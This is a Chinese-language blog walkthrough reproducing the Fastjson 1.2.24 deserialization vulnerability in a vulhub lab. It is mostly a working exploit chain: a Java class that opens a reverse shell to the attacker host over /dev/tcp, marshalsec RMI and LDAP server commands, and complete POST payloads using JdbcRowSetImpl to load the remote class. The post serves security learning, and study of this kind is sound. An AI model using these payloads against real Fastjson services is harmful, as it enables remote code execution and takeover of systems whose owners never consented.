Fastjson反序列化漏洞复现

0x00 前言


对Fastjson反序列化漏洞进行复现。


0x01 漏洞环境


靶机环境:vulhub-fastjson-1.2.24

ip:172.16.10.18 端口:8090

攻击机环境:kali,ip:192.168.82.130


0x02 漏洞利用


(1)首先使用docker起一个fastjson反序列化漏洞环境:



访问环境页面如下:



(2)RMI利用方式

先编写好攻击脚本,反弹shell到kali上:

public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.82.130/8888 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

接着使用javac将其进行编译,命令:

javac Exploit.java

然后对多出一个.class的文件:



把编译好的文件放在kali上,并在kali开启一个简单的HTTP服务,利用python3,命令:

python3 -m http.server 8080



接着使用marshalsec项目,启动RMI服务,监听8001端口并加载远程类Exploit.class,命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.82.130:8080/#Exploit" 8001



然后在kali上开启监听8888端口:



开始攻击,payload如下,注意是以POST方式提交:

POST / HTTP/1.1
Host:172.16.10.18:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 167 {
"naraku":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.82.130:8001/Exploit",
"autoCommit":true
}
}



查看RMI端记录:



查看监听部分:



成功,返回shell

(3)LDAP利用方式

前面大致过程相同,唯一变化的地方在于使用marshalsec项目,启动LDAP服务,监听8002端口并加载远程类Exploit.class,命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.82.130:8080/#Exploit" 8002



在kali端依然监听8888端口:



在burp端发起payload,payload如下,依旧注意是POST请求:

POST / HTTP/1.1
Host:172.16.10.18:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 167 {
"naraku":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.82.130:8002/Exploit",
"autoCommit":true
}
}



查看ldap端显示:



查看监听端,成功反弹shell:

0x03 免责声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

最新文章

  1. spring mvc 和spring security配置 web.xml设置
  2. linux /usr/bin/ld cannot find 解决
  3. 发送http请求get方法
  4. 【Math】余弦相似度 和 Pearson相关系数
  5. windows下配置nginx+php
  6. canvas API ,通俗的canvas基础知识(六)
  7. js简介、基本语法、类型转换、变量、运算符、分支语句、循环语句、函数、函数调用
  8. Python Paramiko模块安装和使用
  9. python编写接口
  10. php获取指定日期所在星期的开始时间与结束时间
  11. STL find() ,还是挺重要的
  12. SQL求差集
  13. java_httpservice
  14. live555 RTSP服务器建立及消息处理流程
  15. Redis开启远程登录连接。
  16. Attrib +s +a +h +r 隐藏文件原理与破解
  17. 记一次线上Zabbix对Redis监控实录
  18. appium 手势
  19. Spark集群之Spark history server额外配置
  20. 安装flutter和dart总结

热门文章

  1. 一个基于 Vue3 的开源项目,3个月时间 star 终于破千!
  2. FFT HDL Optimized模块HDL综合代码生成及与Xilinx xfft IP MEX接口精度详细比较
  3. 剑指 Offer 25. 合并两个排序的链表
  4. 在onBackPress中实现退出拦截时不生效
  5. SQL注入绕过waf的一万种姿势
  6. Python3+pygame实现的flappy bird游戏,代码完整,还有音乐
  7. Mysql被黑客攻击了?一定要注意一点,不要关闭mysql服务
  8. C语言II博客作业02
  9. python多线程参考文章
  10. mongodb安装及常见命令操作